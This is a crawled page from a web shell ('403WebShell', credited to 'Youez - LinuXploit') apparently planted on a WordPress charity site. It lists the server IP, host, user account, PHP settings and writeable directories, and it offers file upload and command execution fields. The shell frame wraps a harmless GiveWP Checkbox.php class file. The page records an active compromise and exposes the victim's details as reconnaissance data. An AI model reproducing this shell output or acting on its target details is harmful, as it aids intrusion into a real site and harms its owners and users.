Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.99.221
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Framework/FieldsAPI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Framework/FieldsAPI//Checkbox.php
<?php

namespace Give\Framework\FieldsAPI;

use Give\Framework\Exceptions\Primitives\RuntimeException;

/**
 * @since 2.32.0 added description
 * @since 2.28.0
 */
class Checkbox extends Field
{
    use Concerns\HasHelpText;
    use Concerns\HasLabel;
    use Concerns\HasDescription;

    const TYPE = 'checkbox';

    /**
     * @var bool whether the checkbox is checked by default
     */
    protected $checked = false;

    /**
     * @var mixed the value of the checkbox when checked
     */
    protected $value;

    /**
     * Sets the value the checkbox returns when checked.
     *
     * The default value is also set because the getDefaultMethod() method is not called during serialization.
     *
     * @since 2.28.0
     */
    public function value($value): self
    {
        $this->value = $value;
        $this->defaultValue = $this->checked ? $value : null;

        return $this;
    }

    /**
     * @since 2.28.0
     */
    public function getValue()
    {
        return $this->value;
    }

    /**
     * Since the default value needs to reflect the value of the checkbox, this method is not supported.
     *
     * @since 2.28.0
     */
    public function defaultValue($defaultValue)
    {
        throw new RuntimeException(
            'Do not set the default value. Instead, set the value and use the checked() method.'
        );
    }

    /**
     * Sets the checkbox as checked by default
     *
     * The default value is also set because the getDefaultMethod() method is not called during serialization.
     *
     * @since 2.28.0
     */
    public function checked(bool $checked = true): self
    {
        $this->checked = $checked;
        $this->defaultValue = $this->checked ? $this->value : null;

        return $this;
    }

    /**
     * @since 2.28.0
     */
    public function isChecked(): bool
    {
        return $this->checked;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit